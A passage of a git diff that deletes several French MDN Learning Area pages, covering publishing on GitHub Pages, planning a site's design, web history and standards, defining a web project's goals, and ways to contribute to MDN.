  1. Pour commencer, inscrivez-vous sur GitHub et vérifiez votre adresse e-mail.
    2. -
  2. Ensuite, créez un dépôt dans lequel vous placerez vos fichiers.
    3. -
  3. Sur cette page, dans le champ Repository name, entrez username.github.io : username est votre nom d'utilisateur. Ainsi, par exemple, notre ami bobsmith entrera bobsmith.github.io.
    - Également, cochez Initialize this repository with a README, puis cliquez sur Create repository.
    4. -
  4. Ensuite, glissez-déposez le contenu du dossier de votre site Web dans votre référentiel, puis cliquez sur Commit changes. -
    -

    Note : Assurez-vous que votre dossier comporte bien un fichier index.html.

    -
    -
    5. -
  5. Maintenant, naviguez jusqu'à username.github.io pour voir votre site web en ligne. Par exemple, pour le nom d'utilisateur  chrisdavidmills, allez à  chrisdavidmills.github.io. -
    -

    Note : Cela peut prendre quelques minutes avant que votre site web soit actif. S'il ne fonctionne pas immédiatement, attendez quelques minutes, puis essayez à nouveau.

    -
    -
    6. -
- -

Pour en savoir plus, voyez GitHub Pages Help.

- -

Lectures pour approfondir

- - - -

{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Les_bases_JavaScript", "Apprendre/Commencer_avec_le_web/Le_fonctionnement_du_Web","Apprendre/Commencer_avec_le_web")}}

- -
-
-

Dans ce module

- - -
-
diff --git a/files/fr/apprendre/commencer_avec_le_web/quel_aspect_pour_votre_site/index.html b/files/fr/apprendre/commencer_avec_le_web/quel_aspect_pour_votre_site/index.html deleted file mode 100644 index 8fbe02c8ab..0000000000 --- a/files/fr/apprendre/commencer_avec_le_web/quel_aspect_pour_votre_site/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Quel sera l'aspect de votre site web ? -slug: Apprendre/Commencer_avec_le_web/Quel_aspect_pour_votre_site -tags: - - Apprendre - - Composition - - Conception - - Débutant - - Planification - - Polices de caractères -translation_of: Learn/Getting_started_with_the_web/What_will_your_website_look_like ---- -
{{LearnSidebar}}
-{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Installation_outils_de_base","Apprendre/Commencer_avec_le_web/Gérer_les_fichiers","Apprendre/Commencer_avec_le_web")}}
- -
-

Quel sera l'aspect de votre site web ? parle de planifier et concevoir (design), travaux à faire avant d'écrire du code. Voici les questions que cela comprend : « Quelles informations mon site web offrira-t-il ? », « Quelles polices de caractères et quelles couleurs souhaité-je ? » et « Que fait mon site web ? ».

-
- -

Commençons par le commencement : planification

- -

Avant de faire quoi que ce soit, vous avez besoin d'idées. Qu'est-ce que votre site web doit-il réellement faire ? Un site web peut pratiquement faire tout ce que vous voulez, mais pour un premier essai, vous devez garder les choses simples. Nous allons commencer par créer une simple page web avec un en-tête, une image et quelques paragraphes.

- -

Pour commencer, posez-vous ces questions :

- -
    -
  1. De quoi va parler mon site web ? Aimez-vous les chiens, New York ou Pacman ?
    2. -
  2. Quelles informations vais-je présenter sur le sujet ? Écrivez un titre et quelques paragraphes, et trouvez une image que vous aimeriez mettre sur votre page.
    3. -
  3. Quelle sera l'apparence de mon site web, en simple termes de survol ? Quelle sera la couleur de l'arrière plan ? Quelle sorte de police de caractères est appropriée : formelle, dessin animé, grasse et lourde, subtile ?
    4. -
- -
-

Note : Les projets complexes nécessitent des lignes directrices (guidelines) détaillées précisant tout : couleurs, polices, espacement entre éléments de la page, style d'écriture adapté, etc. Ceci est parfois appelé un guide de conception ou une charte graphique, vous pouvez en voir un exemple dans Firefox OS Guidelines.

-
- -

Esquisse de votre concept

- -

Ensuite, prenez un crayon et du papier et faites une esquisse de l'apparence souhaitée pour votre site. Pour une première et simple page web, il n'y a pas beaucoup à esquisser, mais vous devriez prendre l'habitude de le faire dès maintenant. Cela aide vraiment — vous n'avez pas à être Van Gogh !

- -

- -
-

Note : Même sur les sites web réels et complexes, l'équipe de conception commence par faire des esquisses sur papier, puis des maquettes numériques en utilisant un éditeur graphique ou des techniques Web.

- -

Les équipes Web intègrent souvent un concepteur graphique et {{Glossary("UX", "user-experience")}} (UX). Les concepteurs graphiques, bien sûr, regroupent les visuels du site web. Les concepteurs UX ont un rôle un peu plus abstrait qui consiste à s'occuper de la manière dont les utilisateurs découvriront et interagiront avec le site web.

-
- -

Choix de vos ressources

- -

À ce stade, il est bon de commencer à regrouper les contenus qui apparaitront peut-être sur votre page web.

- -

Texte

- -

Vous devriez encore avoir vos paragraphes et votre titre puisque vous y avez songé un peu plus tôt. Gardez-les à proximité.

- -

Couleur du thème

- -

Pour choisir une couleur, utilisez une palette de couleurs et trouvez une couleur que vous aimez. Quand vous cliquez sur une couleur, vous verrez un étrange code à six caractères comme #660066. Ceci est appelé un code hexadécimal et il représente votre couleur. Copiez le code dans un endroit sûr pour l'instant.

- -

- -

Images

- -

Pour choisir une image, allez sur Google Images et cherchez une image qui convient.

- -
    -
  1. Quand vous avez trouvé l'image que vous voulez, cliquez sur l'image.
    2. -
  2. Appuyez sur le bouton Afficher l'image.
    3. -
  3. Sur la page suivante, faites un clic-droit sur l'image (Ctrl + clic sur Mac), choisissez Enregistrer l'image sous… et choisissez un endroit sûr pour enregistrer l'image. Ou bien, copiez l'adresse web de l'image depuis la barre d'adresse de votre navigateur pour une utilisation ultérieure.
    4. -
- -

- -

- -
-

Note : La plupart des images sur le Web, dont celles dans Google Images, sont protégées. Pour réduire votre probabilité de commettre une violation de droits d'auteur, vous pouvez utiliser le filtre de licence de Google. Tout simplement 1) cliquez sur Outils de recherche, puis  2) Droits d'usage :

- -

-
- -

Police de caractères

- -

Pour choisir une police :

- -
    -
  1. Allez sur Google Fonts et faites défiler la page jusqu'à en trouver une que vous aimez. Vous pouvez aussi utiliser les contrôles sur la gauche pour filtrer plus précisément les résultats.
    2. -
  2. Cliquez sur l'icône « + » (ajouter) à côté de la police que vous voulez.
    3. -
  3. Cliquez sur le bouton « * Family Selected » dans le panneau en bas de la page (« * » dépend du nombre de polices sélectionnées).
    4. -
  4. Sur la fenêtre contextuelle suivante, vous pouvez copier les lignes de code que Google vous donne dans votre éditeur de texte pour les garder pour plus tard.
    5. -
- -

- -

- -

{{PreviousMenuNext("Apprendre/Commencer_avec_le_web/Installation_outils_de_base", "Apprendre/Commencer_avec_le_web/Gérer_les_fichiers","Apprendre/Commencer_avec_le_web")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/commencer_avec_le_web/the_web_and_web_standards/index.html b/files/fr/apprendre/commencer_avec_le_web/the_web_and_web_standards/index.html deleted file mode 100644 index 9db46369dd..0000000000 --- a/files/fr/apprendre/commencer_avec_le_web/the_web_and_web_standards/index.html +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: Le web et ses normes -slug: Apprendre/Commencer_avec_le_web/The_web_and_web_standards -tags: - - Apprendre - - Débutant - - Front-end - - Normes Web - - Standards Web - - Web -translation_of: Learn/Getting_started_with_the_web/The_web_and_web_standards ---- -

{{learnsidebar}}

- -

Cet article apporte des connaissances générales sur le Web — Comment il est né, quelles sont les technologies usuelles du web, comment interagissent-elles ensemble, pourquoi "développeur web" est un excellent choix de carrière, et quels types de bonnes pratiques pourrez-vous apprendrez au fil de ce cours.

- -

Une brève histoire du web

- -

Nous allons passer très rapidement sur ce sujet puisqu'il existe de nombreux articles (plus) détaillés de l'histoire du web, vers lesquelles nous pourrons créer des liens un peu plus loin (si cela vous passionne, vous pouvez également rechercher "histoire du web" dans votre moteur de recherche favori et regarder ce que vous trouverez.)

- -

À la fin des années 60, l'armée américaine a développé un réseau de communication nommé ARPANET. On peut le considérer comme un précurseur du Web puisqu'il travaillait sur la commutation de paquets et constituait la première implémentation de la suite de protocoles TCP/IP. Ces deux technologies forment la base de l'infrastructure sur laquelle est construit Internet

- -

En 1980, Tim Berners-Lee (souvent abrégé TimBL) a écrit un programme nommé ENQUIRE, basé sur le concept de liens entre différents points. Cela vous dit quelque chose ?

- -

Avance rapide jusqu'en 1989, où TimBL a écrit Information Management: A Proposal et HyperText at CERN; Ces deux ouvrages fournissent tout le contexte du fonctionnement du Web. Ils ont bénéficié d'une renommé forte, suffisante pour convaincre les patrons de TimBL de le laisser aller de l'avant et de créer un système hypertexte global.

- -

À la fin des années 90, TimBL avait créé tout le nécessaire pour faire fonctionner une première version du web — HTTP, HTML, le premier navigateur, qui s'appelait WorldWideWeb, un serveur HTTP et quelques pages web à lire.

- -

Les années suivantes ont vu l'explosion du web, avec la sortie de nombreux navigateurs, la mise en place de milliers de serveurs web et la création de millions de pages web. Ce résumé est très simpliste mais nous vous avions promis qu'il serait bref.

- -

Un dernier point important à évoquer est la fondation en 1994 par TimBL du World Wide Web Consortium (W3C), une organisation rassemblant des représentants de plusieurs entreprises du numérique pour travailler ensemble à la définition de normes pour les technologies du web. D'autres technologies ont ensuite vu le jour comme le CSS et le JavaScript, et le web a commencé à ressembler à ce que nous connaissons aujourd'hui.

- -

Les standards du Web

- -

Les normes Web sont les technologies que nous utilisons pour créer des sites Web. Ces normes existent sous forme de longs documents techniques appelés spécifications, qui détaillent exactement comment la technologie doit fonctionner. Ces documents ne sont pas très utiles pour apprendre à utiliser les technologies qu'ils décrivent (c'est pourquoi nous avons des sites comme MDN Web Docs), mais sont plutôt destinés à être utilisés par des ingénieurs logiciel pour implémenter ces technologies (généralement dans des navigateurs Web).

- -

Par exemple HTML Living Standard décrit exactement comment le HTML (tous les éléments HTML ainsi que les APIs associées et d'autres technologies proches) devraient être implémentées.

- -

Les standards Web sont définies par des organisations de normalisation — des institutions qui invite des groupes de personnes de différentes compagnies technologiques à se réunir et s'entendre sur la manière dont les technologies devraient fonctionner pour satisfaire au mieux tous les cas de figure. W3C est le plus connu des organismes de normalisation, même si d'autres existent également, comme le WHATWG (à l'origine de la modernisation du langage HTML), ECMA (qui publie les normes ECMAScript, sur lesquelles est basé JavaScript), Khronos (qui publie des standards pour les graphismes 3D, comme WebGL), et d'autres encore.

- -

Normes "ouvertes"

- -

L'un des aspects clés des normes Web, sur lequel TimBL et le W3C se sont immédiatement mis d'accord, est que le Web (et les technologies Web) devraient être libres d'utilisation et de contribution, et non pas freinées par des brevets ou des licences. Par conséquent, n'importe qui peut écrire gratuitement du code pour créer un site Web, et n'importe qui peut contribuer au processus de création de normes et d'écriture de spécifications.

- -

Le fait que les technologies Web soient créées librement, en collaboration entre de nombreuses entreprises différentes, signifie qu'aucune entreprise ne peut les contrôler, ce qui est une excellente chose. Vous ne voudriez pas qu'une seule entreprise décide soudainement de rendre payant l'intégralité du Web ou de publier une nouvelle version de HTML que tout le monde doive acheter pour continuer à créer des sites Web, ou pire encore, ne décide simplement qu'elle n'est plus intéressée par le Web et l'éteindre.

- -

Cela permet au Web de rester une ressource publique librement accessible.

- -

Ne cassez pas le web

- -

Une phrase qu'on entend souvent à propos des normes web ouvertes est "Ne cassez pas le web" ("don't break the web") — Cela signifie que toute nouvelle technologie Web introduite devrait être rétrocompatible avec ce qui l'a précédée (donc que les anciens sites Web continueront de fonctionner), et compatible avec l'avenir (les technologies futures seront à leur tour compatibles avec ce que nous avons actuellement). En parcourant les explications présentés ici, vous découvrirez comment un travail de conception et d'implémentation bien pensé rend cela possible.

- -

Être développeur web, c'est bien

- -

L'industrie du Web est un secteur très attractif si vous êtes à la recherche d'un emploi. Les derniers chiffres publiés estiment le nombre actuel de développeurs Web dans le monde à environ 19 millions, un nombre qui devrait au moins doubler au cours de la prochaine décennie. Le secteur connaissant dans le même temps une pénurie de compétences, y a-t-il un meilleur moment pour apprendre le développement Web?

- -

Ce n'est cependant pas juste des jeux et de l'amusement - la création de sites Web est une tâche qui se complexifie avec le temps, et vous devrez consacrer du temps à l'étude de plusieurs technologies différentes, de nombreuses méthodes et bonnes pratiques à connaître et tous les cas de figure classiques que vous serez appelé à mettre en œuvre. Vous aurez besoin de quelques mois pour vraiment entrer dans le sujet, puis vous devrez continuer à apprendre afin de maintenir vos connaissances à jour avec tous les nouveaux outils et fonctionnalités qui apparaissent sur le Web, et continuer à pratiquer afin de perfectionner votre travail.

- -

La seule constante est la variation.

- -

Cela vous semble difficile ? Pas d'inquiétude, notre objectif est de vous donner toutes les bases pour débuter, ce qui vous facilitera la suite. Une fois que vous aurez accepté le changement permanent et l'inconstance du Web, vous commencerez à vous amuser. En tant que membre de la communauté Web, vous aurez tout un réseau de contacts et de ressources web pour vous aider, qui vous aideront à profiter des possibilités créatives du web.

- -

Vous êtes désormais un créateur du numérique. Profitez de l'expérience et trouvez votre gagne-pain.

- -

Vue d'ensemble des outils Web modernes

- -

Il existe plusieurs technologies à maîtriser si vous souhaitez devenir développeur Web front-end, que nous décrirons brièvement dans cette section. Pour une explication plus détaillée de la façon dont certains d'entre eux interagissent, lisez notre article Le fonctionnement du web.

- - - -

Vous êtes probablement en train de lire ces mots à l'aide d'un navigateur web (à moins que vous ne l'ayez imprimé ou que vous utilisiez un outil d'accessibilité comme un lecteur d'écran). Les navigateurs web sont des logiciels que les gens utilisent pour naviguer sur le web, comme Firefox, Chrome, Opera, Safari, Edge.

- -

HTTP

- -

Hypertext Transfer Protocol, ou HTTP, est un protocole de communication permettant aux navigateurs web de communiquer avec des serveurs web (qui hébergent les sites web). Une conversation type ressemble à quelque chose comme

- -
"Bonjour Serveur Web. Peux-tu me fournir les fichiers requis pour afficher bbc.co.uk"?
-
-"Bien sûr Navigateur Web - Les voilà"
-
-[Télécharge les fichiers et affiche la page]
- -

La véritable syntaxe des messages HTTP (appelés requêtes et réponses) ne ressemble pas vraiment à une conversation humaine, mais cela permet d'en avoir un aperçu.

- -

HTML, CSS et JavaScript

- -

HTML, CSS, et JavaScript sont les trois principales technologies utilisées pour créer un site web:

- - - -

Outils

- -

Une fois que vous maîtriserez les technologies "brutes" qui permettent de construire des pages web (comme HTML, CSS, et JavaScript), vous rencontrerez rapidement divers outils permettant de faciliter ou d'accélerer votre travail. On peut citer comme exemples :

- - - -

Langages et frameworks « côté serveur »

- -

HTML, CSS et JavaScript sont des langages "front-end" (ou « côté client »), ce qui signifie qu'ils sont exécutés par le navigateur pour produire un rendu visuel du site web à destination des utilisateurs.

- -

Il existe une autre catégorie de langages appelés langages "back-end" (ou « côté serveur »), qui s'exécutent sur le serveur avant que le résultat ne soit envoyé au navigateur pour être affiché. Une utilisation typique d'un langage côté serveur consiste à extraire des données d'une base de données et à générer du HTML pour les contenir avant d'envoyer le résultat au navigateur pour que celui-ci l'affiche à l'utilisateur.

- -

On peut citer comme exemples ASP.NET, Python, PHP, ou NodeJS.

- -

Les bonnes pratiques du web

- -

Nous avons rapidement évoqué les technologies utilisées pour créer des sites web et nous allons désormais parler des bonnes pratiques à employer pour s'assurer que vous utilisez ces outils de la meilleure manière possible.

- -

Lorsque l'on réalise du développement web, la principale cause d'incertitude provient du fait que l'on ne sache pas quelle combinaison de technologies va être utilisée par chacun des utilisateurs du site web:

- - - -

Ne sachant pas comment vos utilisateurs vont interagir avec votre site, vous devez le concevoir de manière défensive — rendre votre site web aussi flexible que possible, de façon à ce que chacun des utilisateurs mentionnés puissent y accéder, même s'ils n'auront pas la même interaction. En bref, nous essayons de rendre le web accessible à tous, autant que possible.

- -

Vous rencontrerez les concepts suivants à un moment donné de vos études.

- - - -

Voir aussi

- - diff --git a/files/fr/apprendre/commencez_votre_projet_web/index.html b/files/fr/apprendre/commencez_votre_projet_web/index.html deleted file mode 100644 index f5e17cdff0..0000000000 --- a/files/fr/apprendre/commencez_votre_projet_web/index.html +++ /dev/null @@ -1,186 +0,0 @@ ---- -title: Commencez votre projet Web -slug: Apprendre/Commencez_votre_projet_web -tags: - - Beginner - - Composing - - Web -translation_of: Learn/Common_questions/Thinking_before_coding ---- -
{{IncludeSubnav("/fr/Apprendre")}}
- -
-

Cette article présente l'étape primordiale de n'importe quel projet  définir ce qu'on souhaite accomplir avec.

-
- - - - - - - - - - - - -
Prérequis Aucun
Objectif Apprendre à définir les objectifs pour donner une direction à votre projet.
- -

Pour commencer

- -

Lors du démarrage d'un projet web, beaucoup de gens se concentrent sur l'aspect technique. Bien sûr, vous devez être familier avec la technique, mais ce qui importe vraiment est ce que vous voulez accomplir. Oui, cela semble évident, mais de trop nombreux projets échouent, pas à cause d'un manque de savoir-faire technique, mais à cause d'un manque d'objectifs et de vision.

- -

Alors, quand vous aurez une idée et que vous voudrez la concrétiser en un site web, il y a quelques questions auxquelles vous devrez répondre avant toute autre chose 

- - - -

Se poser ces questions et y répondre constituent la conceptualisation du projet. C'est une première étape nécessaire pour atteindre votre objectif, que vous soyez un débutant ou un développeur expérimenté.

- -

Pédagogie active

- -

Il n'y a pas la pédagogie active disponible pour l'instant. S'il-vous-plaît, pensez à contribuer pour enrichir ce contenu !

- -

Aller plus loin

- -

Un projet ne commence jamais par le côté technique. Les musiciens ne joueront jamais un morceau sans avoir d'abord une idée de ce qu'ils veulent jouer, cela s'applique également pour les peintres, les écrivains et les développeurs web. La technique vient après.
-
- La technique est évidemment essentielle. Les musiciens doivent maîtriser leur instrument. Mais de bons musiciens ne peuvent jamais produire de la bonne musique sans avoir eu une idée. Par conséquent, avant de sauter dans la technique (le code et les outils), prenez d'abord un peu de recul et décidez en détails de ce que vous voulez faire.
-
- Une discussion d'une heure avec des amis est un bon début, mais ce sera insuffisant. Vous devez vous asseoir et structurer vos idées pour avoir une vision claire du chemin que vous devrez parcourir afin de concrétiser vos idées. Pour ce faire, il vous suffit d'un stylo, de quelques feuilles de papier et d'un peu de temps pour répondre au moins aux questions suivantes.

- -
-

Remarque  Il existe d'innombrables moyens pour mener à bien des idées de projet. Nous ne pouvons pas tous les mentionner ici (un livre entier ne suffirait pas). Ce que nous allons présenter ici est une méthode simple pour gérer ce que les professionnels appellent l'idéation, la planification et la gestion de projet.

-
- -

Qu'est-ce que je veux accomplir exactement ?

- -

C'est la question la plus importante à laquelle vous devez répondre, car il en découle tout le reste. Énumérez tous les objectifs que vous souhaitez atteindre. Ce peut être n'importe quoi  vendre des biens pour faire de l'argent, exprimer des opinions politiques, rencontrer de nouveaux amis, donner des concerts avec des musiciens, collectionner des images de chat ou autre chose encore.

- -

Supposons que vous êtes un musicien. Vous pourriez souhaiter 

- - - -

Une fois que vous avez obtenu une telle liste, vous avez besoin d'établir des priorités. Ordonnez les objectifs du plus important au moins important 

- -
    -
  1. Permettre aux gens d'écouter votre musique
    2. -
  2. Parler de votre musique.
    3. -
  3. Rencontrer d'autres musiciens.
    4. -
  4. Vendre des goodies.
    5. -
  5. Enseigner la musique à travers des vidéos.
    6. -
  6. Publier des photos de vos chats.
    7. -
- -

Faire cet exercice simple, écrire les objectifs et les trier, va vous aider quand vous aurez des décisions à prendre (dois-je implémenter ces fonctionnalités ? faut-il que j'utilise ces services ? est-il nécessaire de créer ces designs ?).

- -

Bien. Maintenant que vous avez votre liste de priorités pour ces objectifs, nous allons passer à la question suivante.

- -

Comment un site web pourrait-il répondre à mes objectifs ?

- -

Vous avez votre liste d'objectifs et vous sentez que vous avez besoin d'un site web pour atteindre ces objectifs. En êtes-vous sûr ?

- -

Jetons un regard rétrospectif sur notre exemple. Nous avons cinq objectifs liés à la musique et un lié aux photos de chat, complètement indépendant. Est-ce raisonnable de construire un site web unique pour couvrir l'ensemble de ces objectifs ? Est-ce même nécessaire ? Après tout, des dizaines de services web existants pourraient sastisfaire à vos objectifs sans avoir à construire un nouveau site web.

- -

Encore une fois, il y a tellement de services web déjà disponibles pour mettre en valeur les photos qu'il ne sert à rien de s'épuiser à construire un nouveau site juste pour montrer à quel point nos chats sont mignons.

- -

Les cinq autres objectifs sont tous reliés à la musique. Il y a, bien sûr, de nombreux services web qui pourrait traiter ces objectifs, mais il est logique dans ce cas de construire son propre site web dédié. Un tel site est le meilleur moyen de regrouper toutes les choses que nous voulons publier au même endroit (les objectifs 3, 5 et 6) et de promouvoir l'interaction entre nous et le public (les objectifs 2 et 4). En bref, puisque tous ces objectifs tournent autour du même sujet, avoir tout au même endroit nous aidera à atteindre nos objectifs et permettra au public de mieux interagir avec nous.

- -

Comment un site web peut-il m'aider à atteindre mes objectifs ? En répondant à cela, vous trouverez la meilleure façon d'atteindre vos objectifs et cela vous évitera des efforts inutiles.

- -

Qu'est-ce qui doit être fait, et dans quel ordre, pour atteindre mes objectifs ?

- -

Maintenant que vous savez ce que vous voulez accomplir, il est temps de transformer ces objectifs en mesures concrètes. Note  vos objectifs ne sont pas nécessairement gravés dans la pierre. Ils évoluent au fil du temps, même dans le cadre du projet, si vous rencontrez des obstacles inattendus ou tout simplement si vous changez d'avis.

- -

Plutôt qu'une longue explication, revenons à notre exemple avec ce tableau 

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
ObjectifsChoses à faire
Permettre aux gens d'écouter votre musique -
    -
  1. Enregistrer de la musique
    2. -
  2. Préparez quelques fichiers audio écoutables en ligne (Pourriez-vous faire cela avec les services web existants ?)
    3. -
  3. Donner aux gens l'accès à votre musique sur une partie de votre site web
    4. -
-
Parler de votre musique -
    -
  1. Écrire quelques articles pour lancer la discussion
    2. -
  2. Définir l'apparence et le format des articles
    3. -
  3. Publier ces articles sur le site web (Comment faire cela ?)
    4. -
-
Rencontrer d'autres musiciens -
    -
  1. Permettre aux gens de vous contacter (e-mail ? Twitter ? Facebook ? Téléphone ? Adresse ?)
    2. -
  2. Définir comment les gens vont trouver ces moyens de contact à partir de votre site
    3. -
-
Vendre des goodies -
    -
  1. Créer les goodies
    2. -
  2. Stocker les goodies
    3. -
  3. Trouver un moyen de gérer l'expédition
    4. -
  4. -
    -
    Trouver un moyen de gérer le paiement
    -
    -
    5. -
  5. Faire un système sur votre site pour que les gens passe des commandes
    6. -
-
Enseigner la musique à travers des vidéos -
    -
  1. Enregistrer vos leçons vidéos
    2. -
  2. Préparer les fichiers vidéos consultables en ligne (encore une fois, pourriez-vous le faire avec les services web existants ?)
    3. -
  3. Donner aux gens l'accès à vos vidéos sur une partie de votre site web
    4. -
-
- -

Deux choses à noter. Tout d'abord, certains de ces éléments ne sont pas liés à l'internet (par exemple, enregistrer de la musique, écrire des articles). Souvent, ces activités hors-lignes importent encore plus que le côté web du projet. Dans la vente, par exemple, il est beaucoup plus important et cela prend plus de temps que de gérer l'approvisionnement, le paiement et l'expédition plutôt que de construire un site web où les gens peuvent passer des commandes.

- -

Deuxièmement, lorsque vous listerez ces mesures réalisables, vous vous poserez sans doute de nouvelles questions auxquelles répondre. C'est normal, on arrive souvent à se poser plus de questions qu'au début (par exemple, dois-je apprendre à faire tout cela moi-même ? demander à quelqu'un de le faire pour moi ? utiliser les services de tiers ?).

- -

Conclusion

- -

Comme vous pouvez le voir, l'idée simple: « Je veux faire un site » génère une longue liste de choses à faire, qui grandit à mesure que vous y pensez. Elle peut vite sembler écrasante, mais ne paniquez pas. Vous ne devez pas répondre à toutes les questions et vous ne devez pas tout faire sur votre liste. Ce qui importe est d'avoir une vision de ce que vous voulez et comment y arriver. Une fois que vous avez une vision claire, vous devez décider comment et quand le faire. Décomposer les grandes tâches en petites étapes réalisables. Et ces petites étapes vont s'assembler entre elles jusqu'à former de grandes réalisations.

- -

Prochaines étapes

- - diff --git a/files/fr/apprendre/comment_contribuer/index.html b/files/fr/apprendre/comment_contribuer/index.html deleted file mode 100644 index 29814aaee9..0000000000 --- a/files/fr/apprendre/comment_contribuer/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: Comment contribuer à l'Espace d'apprentissage du MDN -slug: Apprendre/Comment_contribuer -tags: - - Apprendre - - Documentation - - Débutant - - Guide - - contribuer -translation_of: Learn/How_to_contribute ---- -

{{LearnSidebar}}

- -
-

Si vous êtes parvenu à cette page du premier coup ou après avoir longuement cherché, cela signifie probablement que vous souhaitez contribuer à l'« Espace d'Apprentissage du MDN » (aussi appelée Learning Area). Excellente nouvelle !

- -

Sur cette page, vous trouverez tout ce dont vous aurez besoin pour aider à améliorer le contenu pédagogique sur MDN. Vous pouvez contribuer de nombreuses façons, selon le temps que vous avez ou que vous souhaitez y passer, que vous soyez un débutant, un développeur web, ou un enseignant.

-
- -
-

Note : Vous pouvez trouver un guide pour écrire un nouvel article sur Comment rédiger un article pour aider les gens à se familiariser avec le Web..

-
- -

Trouver une tâche spécifique

- -

Un moyen courant utilisé par les contributeurs à l'« Espace d'Apprentissage » est de lire les articles, corriger les fautes de frappe et suggérer des améliorations. Vos exemples sont également les bienvenus sur notre dépôt GitHub, et vous pouvez prendre contact avec nous si vous voulez demander ce qui doit être fait.

- -

Contribuer représente également une excellente méthode pour apprendre tout en s'amusant. Si vous vous sentez perdu et/ou si vous avez des questions, n'hésitez pas à nous contacter via la liste de diffusion (anglophone) ou notre canal IRC (anglophone) (voir en pied de page pour plus de détails). Chris Mills est le responsable du projet pour l'« Espace d'Apprentissage » — vous pouvez aussi essayer de le contacter directement.

- -

Les paragraphes suivants donnent quelques idées générales des types de tâches que vous pouvez réaliser.

- -

Je suis un débutant

- -

Fantastique ! Les retours des débutants sont particulièrement précieux lorsqu'il s'agit d'écrire des articles pédagogiques. Votre point de vue est unique, car vous faites partie du public visé par ces articles, ce qui peut faire de vous un membre inestimable de notre équipe. En effet, si vous utilisez un de nos articles pour apprendre quelque chose et que vous êtes bloqué, ou si vous trouvez l'article déroutant d'une certaine manière, vous pouvez le corriger ou nous le faire savoir afin que nous puissions être sûrs qu'il sera corrigé.

- -

Voici quelques façons de contribuer :

- -
-
Ajouter des étiquettes aux articles (5 min)
-
Étiqueter le contenu de MDN est le moyen le plus simple de contribuer sur MDN. Comme beaucoup de nos fonctionnalités utilisent des balises pour aider à présenter l'information dans son contexte, aider à l'étiquetage est une contribution très précieuse. Jetez un oeil sur les listes des termes du glossaire et aux articles de la section d'apprentissage qui n'ont pas d'étiquettes. (Pour le français, utiliser des termes français, ceux qu'un francophone envisagera de rechercher)
-
Lire et effectuer une relecture d'un terme du glossaire (5 min)
-
Nous avons besoin de votre regard neuf sur le contenu qui a été rédigé. Si vous trouvez qu'un terme du glossaire est difficile à comprendre, cela signifie que sa définition doit être améliorée. N'hésitez pas à apporter les changements que vous estimez nécessaires. Si vous ne pensez pas avoir les compétences requises pour modifier l'entrée en question, dites-le nous sur la liste de diffusion.
-
Rédiger une nouvelle définition dans le glossaire (20 minutes)
-
La méthode la plus efficace pour apprendre quelque chose de nouveau est de : choisir un concept que vous aimeriez comprendre, en apprendre le plus possible à ce sujet et expliquer ce concept dans le glossaire. Expliquer quelque chose aux autres est une excellente façon de vérifier que vous avez bien compris et aide énormément à ancrer cette connaissance dans votre mémoire. Vous aurez ainsi fait quelque chose pour vous et aussi pour les autres. Gagnant gagnant !
-
Lire et effectuer une relecture d'un article pédagogique (2 heures)
-
Cetta action a beaucoup d'analogies avec la relecture d'un terme du glossaire présentée plus haut ; mais elle prendra plus de temps car les articles sont généralement plus longs.
-
- -

Je suis un développeur web

- -

Parfait, vos compétences techniques sont l'ingrédient idéal pour que nous soyons sûrs de fournir un contenu pédagogique et techniquement précis pour les débutants. Cette section du MDN est dédiée à l'apprentissage des concepts du Web, il est donc nécessaire que les explications fournies soient aussi simples que possible, sans être simplistes et donc inutilisables . Il est plus important d'être compréhensible que de donner une foultitude de détails.

- -
-
Lire et effectuer une relecture d'une définition du glossaire (5 min)
-
En tant que développeur web, vous pouvez nous aider à ce que le contenu soit précis sur le plan technique, sans pour autant qu'il soit pédant. N'hésitez pas à modifier les articles si vous pensez que c'est nécessaire. Si vous souhaitez échanger sur le sujet avant d'éditer, n'hésitez pas à nous contacter via la liste de diffusion (anglophone) ou notre canal IRC (anglophone).
-
Écrire une nouvelle définition dans le glossaire (20 minutes)
-
Clarifier le jargon technique est une bonne méthode pour apprendre et être techniquement précis et clair. Les débutants vous en remercieront. Quelques termes ne sont pas encore définis et ont besoin de vous, choisissez-en un qui vous intéresse et allez-y.
-
Lire et effectuer une relecture d'un article pédagogique (2 heures)
-
Cette action ressemble beaucoup à celle de la relecture d'un terme du glossaire (présentée plus haut). Elle demande plus de temps car les articles sont généralement plus longs.
-
Écrire un nouvel article pour la section Apprendre (4 heures ou plus)
-
MDN manque de ressources à destination des débutants à propos des technologies web (HTML, CSS, JavaScript, etc.). Certains articles et contenus existent déjà mais ont besoin d'être revus et remaniés. Dépassez vos limites en mettant les technologies web à la portée des débutants.
-
Créer exercices, exemples de code et outils d'apprentissage interactifs (? heures)
-
Les différents articles pédagogiques ont besoin d'éléments d'« Apprentissage actif » car chacun apprend mieux en faisant soi-même. Ces éléments peuvent être des exercices ou du contenu interactif qui permette à un utilisateur d'appliquer et de manipuler les concepts détaillés dans un article. De nombreux outils existent pour créer de tels exemples de code : JSFiddle ou similaire pour construire un contenu interactif et avec Thimble, libérez votre créativité !
-
- -

Je suis un enseignant

- -

MDN est connu pour son excellence sur le plan technique et moins connu, à juste titre, pour son contenu à destination des débutants. C'est là que nous avons besoin de vous, comme enseignant ou formateur. Vous pouvez nous aider à améliorer la pédagogie et la cohérence éducative du contenu du MDN.

- -
-
Lire et effectuer une relecture d'une définition du glossaire (15 min)
-
Consultez une des définitions du glossaire et amendez-la si nécessaire. Si vous souhaitez discuter du contenu avant de publier, n'hésitez pas à nous contacter via la liste de diffusion (anglophone) ou notre canal IRC (anglophone).
-
Écrire une nouvelle définition dans le glossaire (1 heure)
-
Définir les termes de façon simple et claire pour fournir un aperçu efficace des concepts est essentiel pour s'adresser aux débutants. Votre expérience de pédagogue peut être tout particulièrement utile pour créer un excellent glossaire. De nombreux termes ne sont pas encore définis, choisissez-en un puis allez-y !
-
Ajouter des illustrations et/ou des schémas à des articles (1 heure)
-
Comme vous le savez, les illustrations sont indispensables pour apprendre. Or, c'est quelque chose qui manque souvent sur MDN et vos compétences peuvent faire la différence dans ce domaine. Consultez la liste des articles en manque d'illustration et choisissez-en un pour lequel vous souhaitez ajouter des éléments graphiques.
-
Lire et  effectuer une relecture d'un article pédagogique (2 heures)
-
